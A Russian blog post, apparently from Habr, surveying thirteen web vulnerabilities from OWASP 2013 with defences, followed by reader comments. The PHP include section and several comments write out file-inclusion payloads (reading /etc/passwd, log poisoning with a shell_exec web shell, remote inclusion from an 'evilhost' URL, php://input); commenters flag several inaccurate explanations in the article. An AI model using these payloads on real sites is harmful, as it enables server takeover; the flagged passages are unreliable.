Пользователь
0,0
рейтинг
16 июня 2014 в 11:02

Разработка → Спидран по 13 уязвимостям на сайтах. Основные понятия, и средства защиты из песочницы

Недавно по работе собирал своего рода лекцию по веб-безопасности, ознакомился с известным рейтингом уявзимостей OWASP 2013 года, но с удивлением обнаружил, что корректной инфы на русском языке крайне мало, или её практически нет.

Это, собственно, и стало поводом написать такую статью, в которой тезисно будут описаны основные уязвимости, причины, примеры и решения.

Некоторые из предоставленных в списке уязвимостей уже расписаны и не раз — известный факт, но без них список был бы неполным. Поэтому сразу дам небольшое содержание поста:


1. SQL Injection


Материала на сайте предостаточно, мне лично понравилась эта статья.

2. Некорректная аутентификация и управление сессией


По умолчанию, индентификатор созданной сессии сохраняется в cookie браузера, за исключением случаев когда cookie в браузере откючены. В таком случае, они будут автоматом подставляться в каждый URL самим сервером

index.php?PHPSESSID=jf843jgk4ogkfdjfgomg84o4og54mg

Как видите, ID передаётся в открытом виде, в то время как с куками он скрыт в заголовке HTTP-запроса.
Для этого предусмотрели настройку запрета на передачу сессии через URL:

php.ini
session.use_trans_sid=0;
session.use_only_cookies=1;

.htaccess
php_flag session.use_trans_sid Off
php_flag session.use_only_cookies On

Использование шифрования

Если на вашем сайта должна храниться/передаваться конфиденциальная информация (деньги, номера кошельков, состояние здоровья), то стоит использовать зашифрованные протоколы с сертификатом SSL.
При этом стоит при установке cookie выставлять шестой параметр secure = 1.

setcookie ('example', 'content', 0, '', '', 1);

Если вы храните пароль в переменной $_SESSION или базе данных, то не стоит его хранить в открытом виде. Это может быть только хеш от него, или закриптованный вариант.

Собственно, из URL'а украть ID сессии несложно, и немногим труднее это сделать с куками.

Способы защиты:

  1. Избегать сессий без кук
  2. Избегать посторонних серверных решений для аутентификации
  3. Проверять IP
  4. При особо важных действиях запрашивать пароль ещё раз
  5. SSL сертификат
  6. Вовремя и достаточно часто завершать сессии

Надёжный способ — хранить IP в сессии, и если он вдруг по какой-то причине стал отличаться, перестать выводить что-либо на страницу, можно даже принудительно завершить сессию.

Тем не менее, есть и недостатки — взломщик и пользователь могут сидеть за фаерволом с одного и того же IP, или же у юзера попросту может происходить динамическая смена IP прямо во время сессии.

Использование SSL означает, что все передаваемые данные, в т. ч. и куки будут зашифрованы, это делает прямой угон кук невозможным. Минус — куки по-прежнему можно угнать физически, поэтому остальные методы защиты тоже требуются.

Про завершение сессий — время их жизни следует выставлять минимальное, и всегда иметь кнопку выхода из аккаунта на сайте.

Вывод — данная уязвимость вторая по распространённости среди веб-сервисов, и используя все вышеперечисленные методы борьбы можно достаточно эффективно уберечь клиентов от подобного взлома. Ведь хакеру достаточно иметь ID сессии, и ему больше не понадобится ни пароля, ни имени пользователя, чтобы предстать в его образе.

3. XSS


Исчерпывающая и замечательная статья: habrahabr.ru/post/149152

… но от себя хотелось бы добавить кое-что.

HTTP заголовки:

X-Content-Type-Options: nosniff
Блокирует загрузку неподтверждённых атрибутом скриптов. (type=«text/javascript», type=«text/css»)

X-Frame-Options: DENY
Запрещает встраивать данную страницу в iframe

Strict-Transport-Security: max-age=expireTime
Запрет на загрузку чего-либо по незашифрованному протоколу (HTTP)
Комментарий BeLove:
Этот заголовок сообщает браузеру, что с ресурсом надо работать только по HTTPS, т.е. отправляется при первом редиректе с HTTP на HTTPS (чтобы исключить mitm по HTTP. Естестственно, не защищает, если посещение ресурса происходит впервые для браузера).


Важное замечание, касающееся этой и предыдущей темы — httpOnly cookie.
Это стандарт был введён давно, но многими забывается или игнорируется. Делает он следующее: делает куки недоступными иными средствами, кроме HTTP. Его установка означает, что их нельзя будет получить средствами JavaScript.

alert(document.cookie);

httpOnly это седьмой параметр функции setcookie() в PHP.

4. Небезопасные прямые ссылки на объекты


Данная уязвимость проявляется, когда разработчик указывает прямую ссылку на внутренний объект, например такой как файл, каталог или запись в базе данных, как параметр в URL. Это позволяет атакующему за счёт манипуляций с этим параметром получить несанкционированный доступ к системе.

Здесь проще сразу привести примеры:
  • Прямая ссылка на приватную фотографию в закрытом альбоме
  • Открытый номер кошелька в GET-запросе
  • AJAX запрос-ответ по userID, возвращающий все данные о юзере в JSON, которые фильтруются на стороне клиента (смешно, сам встречал)
  • Незакрытый просмотр/редактирование, например, своего профиля. В примере ниже, юзер с ID 3 может перейти на страницу профиля ID 1, и отредактировать его

http://site.com/profile/3
http://site.com/profile/1

Нельзя просто забывать проверить, тот ли юзер стоит перед нами, или нет.
Сюда же относится простая защита на количество неправильных попыток ввода пароля.

5. Небезопасная конфигурация


Говоря проще, это недостаточно или неправильно настроенный конфигурационный файл сервера/PHP/…
Сюда относятся:
  • Открытые логи
  • Не закрытый development mode (незакрытое профилирование запросов, stack trace)
  • Открытый конфиг. Не main.php, к примеру, а main.inc
  • Не иметь аккаунтов admin/admin. Даже на роутере в офисе.
  • Открытый доступ в папки images. Закрывается с помощью .htaccess или пустым index.html
  • И открытые папки вроде .git или .svn

Иммунитет даст:
  • Актуальные версии используемого ПО (фреймворки, либы)
  • Меньше модулей и плагинов
  • Закрытие всевозможных эксепшенов с фаталками во избежания показания фрагментов кода или даже отвечающих за ту или иную операцию файлов.

Профилактика — сюда относится установка разных паролей на разные сферы (SSH, MySQL, бэкенды, панель хостера) и регулярная их замена
Так же, приложение должно иметь строгую архитектуру, где каждый разбирается — в проекте не должно быть следующего:
А что это за папка, которая лежит у нас в корне третий месяц?

6. Утечка чувствительных данных


Как правило, данная уязвимость уже вытекает как следствие взлома сайта, в ходе которого были похищены данные, которые оказались легко читаемыми.

Тест на уязвимость:
  • Хранятся ли у нас какие-либо данные о деньгах/номерах кошельков/состоянии здоровья в БД в открытом виде?
  • Также, в каком виде эти данные передаются по сети?
  • Свежие ли версии софта стоят?
  • Достаточно ли силён алгоритм шифрования, и часто ли происходит его обновление?

Пример #1: Приложение шифрует номера кредиток в базе данных, используя дефолтное кодирование. Это означает, что при получении данных они могут быть спокойно снова раскодированы. Информация должна быть зашифрована собственноручными методами с помощью одного публичного ключа, и так, чтобы только специальные бэкендовые приложения смогли расшифровать её, используя свой приватный ключ.

Пример #2: Простой сайт, не использующий SSL на всех своих страницах. Достаточно, чтобы сертификат где-то один раз порушился, чтобы злоумышленник смог стырить ID сессии, отслеживая трафик данных.

Пример #3: Хранить в БД незасоленные пароли.

Рекомендуется не автокомплитить такую информацию, и не кешировать страницы с ней.

7. Отсутствие контроля доступа к функциональному уровню


Заголовок подразумевает разграниченный доступ к определённым функциям приложения.

  • Не оставлять ссылки для тех, кому нет прав туда заходить
  • Иммунитет даст по дефолту снятие доступов для всех и со всего — принцип белого листа и deny(*).
  • Так же, не помешает проверка в важных местах кода в процессе выполнения действия — при вызове функции/метода поставить проверку ещё раз.

Сюда отнесётся так же простейшая уязвимость вроде подбора URL'а для админки и ответа от этой директории. Плохо, если хакер найдёт папку admin, и увидит форму логина. В таких случаях уместно закрывать директории по IP, или сессией и редиректами.

site.com/admin < site.com/highlevel

8. Подделка межсайтовых запросов (CSRF)


Один из самых малозаметных для разработчиков типов уязвимостей. В одиночку, как правило, несёт не много вреда, чаще всего урон от него можно почувствовать в связке с другими уязвимостями (XSS, невалидированные редиректы)

На самом деле, это мой любимый метод взлома сайта, и заслуживает целой статьи с подробностями, но какой же это тогда спидран?
Приведу ссылку на замечательное описание дыры на securitylab.ru

9. Использование компонентов с известными уязвимостями


Здесь всё предельно просто, поддерживать все подключаемые части проекта в актуальном состоянии, обновлять до последних стабильных версий, не юзать малопопулярные или любительские модули. Если стоит выбор — не использовать их в принципе.

10. Невалидированные редиректы


Суть в том, что пользователи, доверяя вашему сайту могут переходить по любым ссылкам. Вы часто встречали сообщение вроде «Вы покидаете наш сайт, переходя по ссылке ...», так вот это и есть не что иное, как простейшая защита от подобного рода уязвимостей. Злоумышленник может воспользоваться подобного рода редиректами через ваш сайт на угодные ему страницы.

Профилактика

  • Не злоупотреблять редиректами.
  • Если пришлось, не использовать пользовательские данные в запросе (вроде success.php&user_mail=eeee@eee.com)
  • Рекомендуется перезаписывать урлы средствами сервера.

К примеру, вместо contacts.php?act=index/site -> contacts/index/site
Такие ссылки проще валидировать.

11. Кликджекинг


Из названия — «угон кликов». Над страницей сайт злоумышленника лежит прозрачный iframe, с помощью пресловутой социальной инженерии хакер заставляет пользователя сделать несколько определённых действий. Юзеру кажется, что он нажимает кнопки/формы на одном сайте, на самом деле всё подстроено так, что все действия выполняются на странице внутри iframe. Такое достигается путём создания одинаковых координат кнопок/форм на атакующем сайте и сайте-жертве.
Особенность в том, что пользователь сам не знает, что он вводит данные «не туда». Чтобы предотвратить такое, следует пользоваться тегом X-Frame-Options: DENY (см. выше), и простая каптча или повторный ввод пароля.

12. Фишинг


Популярный метод вытянуть логин/пароль из жертвы. Как правило, по особым базам данных жертв производится E-Mail рассылка, где пользователя от лица настоящего сайта побуждают к действию перейти на сайт.
К примеру, вместо yandex.ru это окажется yandx.ru, uandex.ru, yandex.nk.me и проч.
Внешне он выглядит точно так же, как наш сайт, на котором юзер разлогинен. Опять же, какими-либо средствами соц. инженерии злоумышленник просит жертву залогиниться, (на своём сайте), и просто-напросто получает логин/ пароль. Как правило, после ввода выдаётся что-то вроде сообщения об ошибке авторизации, и больше ничего не происходит.

От фишинга сейчас защищены даже браузеры, и большое количество антивирусов, но проблема остаётся актуальной. Во избежание «рутания» аккаунта ваших пользователей, просите их вводить пароль при особо важных операциях (перевод денег), или просите подтвердить аккаунт при помощи SMS.

13. PHP Include


Уже, пожалуй, маловстречаемый способ захвата сайта.
Заключается в неправильной логике работы приложения, позволяющая подключить любой файл на сервере (при неправильной конфигурации, опять же).

В адресной строке видим запрос:
site.com/index.php?p=contacts.php
Уже всё яснее ясного, да? Как правило, внутри кроется примерно следующее:

<?
include($_GET['file']);
?>

Дальше ваша фантазия может играть сколько угодно:

site.com/index.php?file=../../etc/passwd%00 # Из комментария redc0de: не работает с версии 5.3.4 
site.com/index.php?file=../apache/error.log # Сгенерировать ошибку в запросе с <?shell_exec($_GET['z'])?>
site.com/index.php?file=index.php # Завал рекурсией
site.com/index.php?file=images/2014/06/15/12.jpg # Ранее залитый шелл в запрещённой на исполнение директории может подключиться и сработать

Во избежание многих из этих ошибок, помните, что GET — только для получения данных, для всего остальное есть Master POST.

Большинство рекомендаций взято отсюда, переведено и дополнено мной.
@Darth_Saracen
карма
11,0
рейтинг 0,0
Пользователь
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Спецпроект

Самое читаемое Разработка

Комментарии (29)

  • +6
    Как видите, ID передаётся в открытом виде, в то время как с куками он скрыт в заголовке HTTP-запроса.

    А кто мешает почитать заголовки HTTP-запроса и куки?

    Избегать посторонних серверных решений для аутентификации

    Гуглы, фейсбуки прочь — мы им не доверяем — они «ПОСТОРОННИЕ»

    Вовремя и достаточно часто завершать сессии

    Прально, пущай пользователи каждый час пароль вводят, что б не расслаблялись

    ps.
    Как-то не четко все, не раскрыто куча подробностей.
    • +4
      А кто мешает почитать заголовки HTTP-запроса и куки?
      Бесспорно
      Гуглы, фейсбуки прочь — мы им не доверяем — они «ПОСТОРОННИЕ»
      Естественно, ваш выбор в рамках разумного
      Прально, пущай пользователи каждый час пароль вводят, что б не расслаблялись
      Это не касается повально всех проектов, всё зависит от конкретной цели веб-сервиса
      Как-то не четко все, не раскрыто куча подробностей.
      На то он и спидран, честно говоря. Я бы с удовольствием расписал всё в одной статье, но это вышел бы очень_лонглист. BTW, про CSRF и его комбинации с другими уявзимостями распишу на целый пост, с мельчайшими деталями
      • 0
        Думаю оговорок по использованию, а не строгих утверждений плюс ссылки на раскрывающий материал было бы достаточно.
        • +1
          Благодарю за критику, это поможет мне освоиться
  • +2
    site.com/index.php?file=../../etc/passwd%00

    Null byte injection уже не работает с версии 5.3.4
    • +1
      Несколько нюансов — во первых, в этом конкретном случае нулл-байт и не нужен вовсе, т.к. он используется для отсечения «лишней» hard-coded строки, например:
      include("modules/{$_GET['module']}/init.php");

      Во-вторых, если же в строке инклуда нету ни префикса ни суффикса, как в примере в статье, то при условии allow_url_include = On появляются ещё несколько вариантов использования этой уязвимости:
      1. index.php?file=http://evilhost.com/evilscript.txt
      2. index.php?file=data:text/plaintext,<?php phpinfo();?>
      3. index.php?file=php://input + передача в теле POST-запроса <?php phpinfo(); ?>
      • 0
        Ну там конкретный пример был:

        site.com/index.php?file=../../etc/passwd%00

        Нулевой байт там поставлен чтобы очевидно убрать .php, .html, .etc
        Если бы был пример без %00 и он сработал, очевидно что включение происходит с полным именем файла.
  • 0
    POST так же небезопасен как и GET, поэтому фраза «Во избежание многих из этих ошибок» здесь неуместна.

    Для примера приведу случай из практики:

    Сайт проверялся на уязвимости, была найдена SQL Injection через параметр передаваемый методом GET, но предусмотрительный хостинг (sweb) фильтровал фразы и слова типа SELECT, UNION, FROM и так далее. Попробовал отправить данные методом POST, все получилось, он не фильтровался и сайт был «взломан».
    • 0
      По GET можно сформировать ссылку и убедить пользователя перейти, если GET'ом можно выполнить команду, то мы выполним её от имени этого пользователя. С POST простая ссылка не сработает.
      • 0
        button[type=submit] нарисовать как ссылку и обернуть в форму. Ещё как сработает.
        • +1
          Если операция сделана через GET — это чистая CSRF уязвимость (даже без убеждения пользователя перейти), через POST же сработает только уже в связке с XSS (встроить на страницу через JS форму, и form.submit()). Какая-никакая, а разница
          Вот вам весёлый пример CSRF: superlogout.com
          • +1
            Действительно, весёлый пример.

            ["DeviantART", post("http://www.deviantart.com/users/logout")],
            ["LiveJournal", post("http://www.livejournal.com/logout.bml", {"action:killall": "1"})],
            ["YouTube", post("http://www.youtube.com", {"action_logout": "1"}, true)],
  • 0
    Strict-Transport-Security: max-age=expireTime
    Запрет на загрузку чего-либо по незашифрованному протоколу (HTTP)

    Странное пояснение. Этот заголовок сообщает браузеру, что с ресурсом надо работать только по HTTPS, т.е. отправляется при первом редиректе с HTTP на HTTPS (чтобы исключить mitm по HTTP. Естестственно, не защищает, если посещение ресурса происходит впервые для браузера).
    • 0
      Спасибо, поправил
  • 0
    site.com/index.php?file=images/2014/06/15/12.jpg

    Чтобы что-то подобное сработало (это картинка, как я понял) как пхпшеный скрипт. То нужно в ту же директорию загрузить .htaccess c:

    AddType application/x-httpd-php .php .jpg

    или

    ForceType application/x-httpd-php

    • 0
      Речь о том, что уязвимый скрипт делает include $_GET;, то есть выполняет код, помещённый в файл, причём путь к файлу получен от клиента и не проверяется. В этом случае не имеет значение, какое у файла расширение или где он находится — он будет подключен и выполнен, если у процесса PHP есть к нему доступ. Думайте об этом так:

      $path = $_GET['page'];
      $code = file_get_contents($path);
      eval($code);
      
      • 0
        Ди. Извиняюсь, не сразу въехал, так сказать. Но сейчас вряд ли кто-то так делает.
        • 0
          Да, автор и написал, что это уже «маловстречаемый способ захвата сайта». Ещё более редкий, чем SQLi.
  • 0
    Кстати, задал 1 вопрос по CSRF на тостере и как-то не получил ответа на него.
    Правильно ли я понимаю, что, если:

    1) никакие данные не изменяются запросами типа GET или POST (соот. изменяются PATCH, DELETE, PUT и т.д.)
    2) пользователь использует нормальный браузер, в котором запрещены кросс-сайт ajax-запросы (в общем-то любой современный браузер я так понимаю)
    3) сайт защищен от XSS

    из этого следует =>

    атака типа CSRF невозможна?
    • 0
      Для CSRF можно использовать и фреймы.

      Ваш сайт защищен, а другой популярный сайт нет. Через него пойдет атака на ваш.

      атака «невозможна» если вы все запросы подписываете специальным токеном который уникален для каждой сессии + проверяете его у себя на сервере.
      • 0
        >> Ваш сайт защищен, а другой популярный сайт нет. Через него пойдет атака на ваш.

        Во-первых, как написал ТС, X-Frame-Options: DENY
        Во-вторых, а что там страшного может быть?

        >> атака «невозможна» если вы все запросы подписываете специальным токеном который уникален для каждой сессии + проверяете его у себя на сервере.

        Ну это и так понятно. Только мой способ гораздо проще, если он действительно секьюрный.

        >> атака типа CSRF невозможна?

        Конечно, я неправильно выразился. Не невозможна, а бесполезна.
        • 0
          Так в том то и дело, что для атаки не нужно встраивать ваш сайт во фрейм. X-Frame-Options: DENY не спасет. С помощью js злоумышленник создаст фрейм с формой, в полях которой будут нужные параметры будут передаваться на ваш сервер.

          CSRF это очень опасная инъекция, угон аккаунтов ваших пользователей, кража кошельков и денег, спам, накрутка счетчиков, голосов, вот к чему может привести отказ от защиты.

          Покажу на примере

          Есть например ваш сайт Хакер.деньги, который не подписывает все действия пользователя токеном. И у пользователей этого сайта есть возможность переводить деньги другим пользователям. Для этого например нужно заполнить и послать форму на адрес
          Хакер.деньги.ру/money c пост параметрами user_id — id пользователя которому вы переводите деньги и amount — количество переводимых денег.

          И вот все хорошо, пользователи используют сайт, переводят деньги, у вас нет XSS -инъекций на сайте и встраивать ваш сайт во фреймы вы запретили. Вроде все ок. Но злоумышленнику, который пользовался вашим сайтом, это не помешало обнаружить CSRF, которая у вас по прежнему есть.

          Еще есть такой сайт как ЖЖ. И вот с ним приключилась БЕДА. Злоумышленник, который пользовался вашим сайтом, обнаружил xss в комментариях ЖЖ. Ну есть и есть, вроде как эти проблемы касаются вашего сайта? А вот оказывается напрямую.

          Злоумышленник создает скрипт, который вставляет в веб-страницу скрытый фрейм, а в него форму с полями user_id и amount. Затем заполняет эти поля, прописывая в user_id свой кошелек, а в amount какую-нибудь сумму, например 1000 рублей. А потом автосабмитом, в фоне, так чтобы пользователь ничего не заподозрил, эта форма отправляется на сервер по адресу Хакер.деньги.ру/money с нужными параметрами

          Затем злоумышленник заходит на страницы всех популярных блогеров и оставляет в комментариях какую-нибудь смешную картинку и кусочек вредоносного javascript кода, который загружает этот опасный скрипт.

          И все, теперь если пользователь вашего сайта Хакер.деньги.ру зайдет на страницу этого популярного блогера и в это время его сессия на сайте будет активна, то вредоносный скрипт от его имени выполнит перевод денег на кошелек злоумышленника.

          Так же злоумышленник может создать свой фейковый сайт Хакер.денги.ру, который копирует дизайн вашего сайта и распространять ссылку на него на форуме поддержки. Ничего не подозревающие пользователи будут переходить на него и активировать выполнение вредоносго кода.

          Поэтому ваш способ вообще ни разу не секьюрный)

          • +1
            >> А потом автосабмитом, в фоне, так чтобы пользователь ничего не заподозрил, эта форма отправляется на сервер по адресу Хакер.деньги.ру/money с нужными параметрами

            Я же изначально поставил условие, POST-ом и GET-ом мы ничего не изменяем. Отправлять деньги мы будем PUT-ом, я вся ваша схема не работает. HTML не умеет эмулировать не-GET-POST запросы, а именно эти виды запросов подвержены CSRF. Отправлять запросы javascript-ом на другой домен мешает политика безопасности браузеров.
          • 0
            В общем я ситуацию пока вижу в таком ключе. По-моему в моей гипотезе все отлично. Даже странно, что во всех таких «спидранах» не предлагается такая простая защита от CSRF, ведь мы избавляемся от уязвимости на архитектурном уровне без придумывания сложных систем с токенами.

            Впрочем, потенциальная уязвимость может быть во втором пункте habrahabr.ru/post/226321/#comment_7688441. Браузер может быть запущен в небезопасном режиме, или можно установить небезопасное расширение, имеющее права на кросс-доменные ajax-запросы. Поэтому, если у нас приложение работающее с критически важными данными или деньгами, таки надо генерировать CSRF-токены. Но для абсолютного большинства остальных сайтов лично мне мое решение видится гораздо более изящным решением, чем токены.
            • 0
              Интересно, а в чём плюсы использования PUT/PATCH/DELETE? Если я верно помню, PHP глобально поддерживает только POST и GET
              • 0
                >> Интересно, а в чём плюсы использования PUT/PATCH/DELETE?

                Для создания REST-приложений.

                >> PHP глобально поддерживает только POST и GET

                В нормальных фреймворках доступ к параметрам запроса унифицирован, например, $this->request->param('my_param') для параметров из тела запроса и $this->request->query('my_param') из URL. Так что для нас разницы между POST и PUT к примеру никакой нет.
            • 0
              Действительно. Вполне возможно что вы правы
  • +2
    Пример #1: Приложение шифрует номера кредиток в базе данных, используя дефолтное кодирование. Это означает, что при получении данных они могут быть спокойно снова раскодированы. Информация должна быть зашифрована собственноручными методами с помощью одного публичного ключа, и так, чтобы только специальные бэкендовые приложения смогли расшифровать её, используя свой приватный ключ.

    Честно говоря, вот это вот недоразумение лучше бы заменить на «Пример #1. Даже и не думайте хранить или обрабатывать ценные данные в своей БД, а тем более — номера карт.».
    Сразу вопросы:
    1) Что за «дефолтное кодирование»? При таком подходе к криптографии никакие номера карт в своей БД вообще лучше не хранить, а просто использовать внешние платежные шлюзы (т.е. аутсорсинг услуг карточного эквайринга).
    2) «зашифрована собственноручными методами» — аудиторы PCI DSS моментально покрошат Вас в винегрет. Принцип Керкгоффса сформулирован в девятнадцатом веке.
    3) сама идея с выделенным сервером высказана в правильном направлении, но вот попытка для для этого самостоятельно имплементировать криптографию с открытым ключом «собственноручными методами» заведомо обречена на провал.
  • +2
    Довольно много неточностей. Поправки:

    X-Content-Type-Options: nosniff
    Блокирует загрузку неподтверждённых атрибутом скриптов. (type=«text/javascript», type=«text/css»)

    Это не так, X-Content-Type-Options: nosniff отключает автоопределение типа загруженного контента браузером. Некорректное определение типа может приводить к HTML-инъекциям (включая XSS) через форматы, которые не являются HTML-форатами, например javscript, json и т.п.

    Как видите, ID передаётся в открытом виде, в то время как с куками он скрыт в заголовке HTTP-запроса.

    Он и в заголовках передается в открытом виде. Проблема не в передаче в открытом виде, а в том, что при передаче через URI идентификатор сеанса может быть доступен третьим сторонам через Referer, утечь в разные счетчики/статистики, виден в истории просмотра и т.д.

    Strict-Transport-Security… Этот заголовок сообщает браузеру, что с ресурсом надо работать только по HTTPS, т.е. отправляется при первом редиректе с HTTP на HTTPS (чтобы исключить mitm по HTTP. Естестственно, не защищает, если посещение ресурса происходит впервые для браузера).

    Нет, это не так. Strict-Transport-Security сам по себе не производит редиректа. Strict-Transport-Security: должен отдаваться только в HTTPS-версии сайта, в HTTP-версии он не работает. Должен быть И редирект в HTTPS-версию И заголовок Strict-Transport-Security.

    Достаточно ли силён алгоритм шифрования, и часто ли происходит его обновление?

    Сторого говоря, к атакам information disclosure/leakage (утечка чувствительных данных) это прямого отношения не имеет. Слабые алгоритмы шифрования и MitM — это отдельный класс атак.

    10. Невалидированные редиректы

    Суть в том, что пользователи, доверяя вашему сайту могут переходить по любым ссылкам. Вы часто встречали сообщение вроде «Вы покидаете наш сайт, переходя по ссылке ...», так вот это и есть не что иное, как простейшая защита от подобного рода уязвимостей. Злоумышленник может воспользоваться подобного рода редиректами через ваш сайт на угодные ему страницы.


    Описана другая атака. Open redirect это возможность перенаправить пользователя на другой сайт по ссылке на ваш без каких-либо дополнительных ссылок. Т.е. когда делается 301/302 редирект или его аналог через location в джаваскрипт и т.п. по аргументу, который указан в URL, например.

    Тема CSRF не раскрыта, а это самая частая уязвимость и может быть весьма важной.

    Вместо конкретного случая PHP include следует рассмотреть общий случай — SSI (server-side include).

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.